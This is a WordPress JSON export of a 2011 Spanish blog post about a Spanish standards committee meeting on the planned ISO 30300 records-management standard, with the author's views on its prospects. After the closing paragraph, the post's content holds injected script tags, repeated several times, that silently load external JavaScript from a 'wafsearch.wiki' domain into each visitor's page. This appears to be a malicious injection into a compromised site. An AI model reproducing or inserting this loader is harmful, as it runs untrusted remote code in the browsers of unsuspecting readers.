{"id":460,"date":"2011-04-26T10:54:20","date_gmt":"2011-04-26T08:54:20","guid":{"rendered":"http:\/\/www.blocument.com\/?p=460"},"modified":"2026-03-20T06:26:15","modified_gmt":"2026-03-20T11:26:15","slug":"iso-30300-hacia-la-normalizacion-en-gestion-documental","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/iso-30300-hacia-la-normalizacion-en-gestion-documental\/","title":{"rendered":"ISO 30300: hacia la normalizaci\u00f3n en gesti\u00f3n documental"},"content":{"rendered":"<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/04\/imagesCAVMWW4V.jpg\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-462\" title=\"normalizaci\u00f3n\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/04\/imagesCAVMWW4V-300x100.jpg\" alt=\"normalizaci\u00f3n\" width=\"300\" height=\"100\" \/><\/a>El pasado 14 de abril tuvo lugar la reuni\u00f3n del<strong> Comit\u00e9 T\u00e9cnico de Normalizaci\u00f3n espa\u00f1ol\u00a0 para las normas de Gesti\u00f3n de Documentos y Aplicaciones (CTN 50 SC1). <\/strong><strong>Adapting<\/strong> forma parte del mismo, representando a las empresas de desarrollo de <strong>soluciones relacionadas con la gesti\u00f3n documental<\/strong>.\u00a0\u00a0El tema principal de discusi\u00f3n fue la\u00a0futura\u00a0norma <strong>ISO 30300<\/strong>.<\/p>\n<p>La sesi\u00f3n tuvo lugar en el Palacio de la Aljafer\u00eda de Zaragoza, a la saz\u00f3n edificio que aloja a las Cortes de Arag\u00f3n. Por cierto, que el Palacio es un precioso edificio de arquitectura isl\u00e1mica que vale la pena visitar.<\/p>\n<p>Algunas de las <strong>impresiones<\/strong> que me traje de la jornada:<\/p>\n<ul>\n<li>hay mucho trabajo por hacer todav\u00eda en el tema de la normalizaci\u00f3n alrededor de la gesti\u00f3n documental. Aunque coment\u00e1bamos en un anterior post que la publicaci\u00f3n de esta norma se preve\u00eda para el primer semestre de 2011, la realidad, tozuda ella, insiste en que lo m\u00e1s probable es que se publique en la segunda parte del a\u00f1o. Utilizando el t\u00edtulo de una pel\u00edcula ya muy antigua y algo rancia: \u201cLa mies es mucha y los obreros pocos\u201d.<\/li>\n<li>Actualmente hay un marasmo de normas en diferentes estados de publicaci\u00f3n. Es primordial aclarar esa mara\u00f1a y apostar por un n\u00famero quiz\u00e1s menor, pero que se relacionen entre s\u00ed de forma clara. En el grupo se apuesta, entre otras por la <strong>ISO 30300,<\/strong> que, por simplificar, viene a ser como la ISO 9001, pero para gestionar documentos<\/li>\n<li>La norma ISO 30300 deber\u00eda suponer un impulso para todos los agentes ubicados en torno a la gesti\u00f3n documental: documentalistas, archivistas, tecnol\u00f3gicos, soluciones inform\u00e1ticas, etc.<\/li>\n<li>No obstante, su publicaci\u00f3n no significar\u00eda necesariamente que la norma vaya a ser asumida por las organizaciones de forma generalizada. Diferentes factores podr\u00edan actuar de inhibidores:\n<ul>\n<li>la norma ISO 30300 correr\u00eda el riesgo de nacer ya como una norma secundaria de la ISO 9001, como en parte ha ocurrido con la ISO 14001, por ejemplo;<\/li>\n<li>se tendr\u00eda que realizar un exhaustivo trabajo de concienciaci\u00f3n entre las organizaciones (empresas, administraciones p\u00fablicas); Espa\u00f1a no es Alemania en temas de cultura normativa\u2026<\/li>\n<li>los organismos de certificaci\u00f3n tendr\u00e1n que ver tambi\u00e9n como interesante a la nueva norma (en t\u00e9rminos de negocio tambi\u00e9n) para que inviertan recursos en formar los procedimientos y equipos de auditor\u00eda y certificaci\u00f3n.<\/li>\n<\/ul>\n<\/li>\n<li>Otro escenario potencial en relaci\u00f3n con esta norma es que se su implantaci\u00f3n se vea coartada por otras normas (por ejemplo la ISO 16175 o la 15489), que, si bien, abordan la problem\u00e1tica de la gesti\u00f3n documental desde otros \u00e1ngulos, van a tenerse en cuenta en su aplicaci\u00f3n.<\/li>\n<\/ul>\n<p>Para acabar, como <strong>recomendaci\u00f3n<\/strong>,\u00a0podemos comentar que del 25 al 27 de mayo, la FESABID celebra su congreso en M\u00e1laga y uno de los temas estrella ser\u00e1 las nuevas perspectivas que plantea la ISO 30300.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = 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